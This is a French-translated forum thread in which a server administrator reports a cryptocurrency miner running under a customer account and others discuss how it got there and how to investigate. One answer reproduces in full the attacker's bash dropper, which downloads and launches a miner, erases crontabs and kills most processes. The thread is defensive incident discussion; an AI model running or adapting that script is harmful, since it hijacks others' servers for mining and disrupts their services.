Ai-je été piraté?

8

J'exécute un serveur dédié, où j'ai remarqué récemment une utilisation élevée du processeur et j'ai vérifié les processus. Il semble que quelqu'un (compte mick) minait sur mon serveur. Comment est-ce possible? Le processus est ci-dessous. J'ai suspendu le compte. Que devrais-je faire d'autre?

25516 mick  30  10  778m 6728 1132 S 740.5  0.2   8463:59 /tmp/sh64 -o stratum+tcp://multi1.wemineall.com:80 -u weedee.1 -p x --algo scrypt -B
Booboo
la source
vérifiez les cronjobs pour chaque utilisateur.
TPS
5
Un peu plus d'informations pour savoir si vous avez créé ce compte et qui y a accès serait utile. Si vous êtes le seul à avoir accès, vous êtes probablement piraté -> réinstallez à partir de zéro.
Anthon
Il s'agit d'un serveur d'hébergement Web utilisant le panneau de configuration de Plesk. Il y a plusieurs clients sur le serveur avec différents domaines, etc.
Booboo
Les clients n'ont pas d'accès root au serveur, juste ftp
Booboo
2
Cela ressemble à un mineur de crypto-monnaie Scrypt.
TheDoctor

Réponses:

11

Si vous utilisez un serveur Web qui autorise les scripts côté serveur (php, ruby, etc.), cela est très facile à faire.

Tout ce que l'utilisateur a à faire est de générer un script qui télécharge un fichier /tmp/sh64puis l'exécute. Les scripts Web doivent généralement pouvoir exécuter des programmes externes et ce type d'activité est donc difficile à empêcher.

Si le mickcompte est le même que celui utilisé pour exécuter les scripts Web de l'utilisateur, je dirais que non, vous n'êtes pas piraté. Juste un utilisateur qui abuse de son compte.

Si vous souhaitez empêcher ce comportement, il existe très peu de façons de le prévenir. Vous pouvez soit interdire d'appeler des programmes externes. Ou vous pouvez faire quelque chose comme tuer des programmes à exécution longue (tout ce qui reste exécuté pendant plus de 60 secondes par exemple).
Sans en savoir plus sur votre configuration, le meilleur plan d'action est difficile à déterminer.

Patrick
la source
1
Comment puis-je interdire d'appeler des programmes externes
Booboo
Vos options varient. Je posterais une autre question demandant. Fournissez des détails sur la configuration de votre serveur Web et sur le langage de script utilisé par vos clients. Un simple chroot peut fonctionner, mais a besoin des détails.
Patrick
2

J'avais un problème similaire. Ils ont exploité une version obsolète de l'agent NRPE de Nagios pour exécuter un wgetscript qui a installé et configuré le mineur Bitcoin de Sourceforge (le démon NRPE avait dont_blame_nrpeactivé). Je n'ai rien trouvé qui indiquerait que la tentative sur ma machine était persistante.

Voici le script qui a été utilisé pour l'installation et la configuration du mineur Bitcoin:

#!/bin/bash

miner_path="/tmp/tester"
miner_path2="/tmp/var/tester"
miner_path3="/dev/shm/tester"
stratum="stratum+tcp://multi1.wemineall.com:80"
worker="weedee.1"
myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
name="work.sh"
if [ -z "$myproc" ]
then    
    system=`uname -a`
    i686=`echo $system|grep i686`
    if ! [ -z "$i686" ]
      then

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664640&use_mirror=netcologne"
      else

url="http://downloads.sourceforge.net/project/cpuminer/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fcpuminer%2Ffiles%2F&ts=1390664665&use_mirror=netcologne"
    fi

    dll=`wget -q -O $miner_path $url;tar zxvf $miner_path -C /var/tmp/;mv /var/tmp/minerd $miner_path;chmod +x $miner_path`
    spwn=`$miner_path -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /var/tmp/ trying in /dev/shm
    if [ -z "$myproc" ]
    then
        #dll=`wget $url -O $miner_path2;chmod +x $miner_path2`
        dll=`wget -q -O $miner_path2 $url;tar zxvf $miner_path2 -C /tmp/;mv /tmp/minerd $miner_path2;chmod +x $miner_path2`
        spwn=`$miner_path2 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi
    myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
    #Failed in /tmp/ trying in /tmp
    if [ -z "$myproc" ]
    then        
        dll=`wget -q -O $miner_path3 $url;tar zxvf $miner_path3 -C /dev/shm/;mv /dev/shm/minerd $miner_path3;chmod +x $miner_path3`
        spwn=`$miner_path3 -o $stratum -u $worker -p x --algo scrypt -B 2>/dev/null 1>/dev/null &`      
    fi  

myproc=`ps x|grep "$stratum -u $worker"|grep -v grep`
  crontab -r
 fi  
 crontab -r
rm -rf /var/tmp/*.sh
kill -9 `ps x | grep -v nagios | grep -v nrpe | grep -v PID | grep -v $name | grep -v tester | grep -v grep | awk '{print $1}'

Ce script s'exécutait entièrement en tant qu'utilisateur Nagios, il n'avait donc pas besoin d'un accès root.

mtak
la source
2

Votre système a définitivement été compromis ou au pire piraté. Il y a d'autres histoires décrivant l'installation d'un mineur similaire.

Je suis d'avis que votre système a été compromis et que vous en retirez tout élément critique pour que vous le sauvegardiez s'il ne l'est pas déjà.

Une analyse

Si vous êtes curieux de savoir comment ils sont entrés, vous devrez obtenir une liste complète des services (Web, mysql, etc.) que vous avez installés et voir s'il existe des exploits actifs qui permettraient à quelqu'un d'obtenir des privilèges élevés.

Je commencerais par toutes les fonctionnalités Web qui sont des applications basées sur le Web. C'est généralement le cas que ces applications peuvent être débordées de tampon et accéder à la modification de la pile du serveur Web afin que des applications supplémentaires puissent être installées.

Il est vrai que ces types de compromis peuvent être des incidents isolés.Il suffit donc de supprimer le logiciel incriminé et les logiciels malveillants pour les éliminer sans avoir à supporter le temps nécessaire pour effectuer une récupération / configuration complète du système.

Si ce système a été construit à l'aide d'une image basée sur VPS, je travaillerais avec le fournisseur, car le correctif semble être dans leur meilleur intérêt pour tous leurs clients.

Au-delà de la simple compromission de la pile Web

Tout ce qui se trouve sur la boîte doit être examiné attentivement et n'est pas digne de confiance, mais je prendrais un peu de temps pour voir si vous ne pouvez pas savoir d'où les attaquants se connectent, le cas échéant. Ils se connectent peut-être à l'aide de comptes SSH qui ont été ajoutés au système après l'avoir compromis.

Cela peut être une tâche ardue qui prend plusieurs jours pour faire une analyse, surtout si vous ne pouvez faire confiance à aucun des outils sur la boîte pour vous aider dans cette entreprise. J'encourage quiconque à prendre ce temps pour comprendre comment son système a été compromis afin que vous puissiez réduire le risque qu'il se reproduise à l'avenir, au moins grâce à ce vecteur particulier.

S'il ne s'agit pas d'un problème de production, il s'agit en fait d'une bonne opportunité d'apprentissage pour obtenir des informations précieuses sur la façon dont les systèmes peuvent être compromis et l'accès peut être «exploité» par des attaquants.

Doublure argentée?

Comme le système est utilisé à des fins d'exploration, il est probable qu'ils aient utilisé un ensemble d'outils de script automatisé, car attaquer suffisamment de systèmes pour configurer des mineurs de zombies semble prendre beaucoup de temps. Lorsque des outils tels que ceux-ci sont utilisés, ils sont généralement de mauvaise qualité dans leur construction, cherchant simplement à faire le strict minimum pour prendre pied et ensuite fournir leur charge utile (le logiciel d'exploration de données), de sorte que vous pouvez avoir de la chance et obtenir des informations supplémentaires comment ils ont pu entrer.

slm
la source
4
Pas nécessairement. Si le serveur Web autorise les scripts côté serveur et que le mickcompte est l'utilisateur utilisé pour exécuter les scripts, cela peut facilement être fait sans pirater le serveur. Abus, oui. Hack, non.
Patrick
@Patrick - très vrai, j'ai modifié le A pour refléter cela. Merci.
slm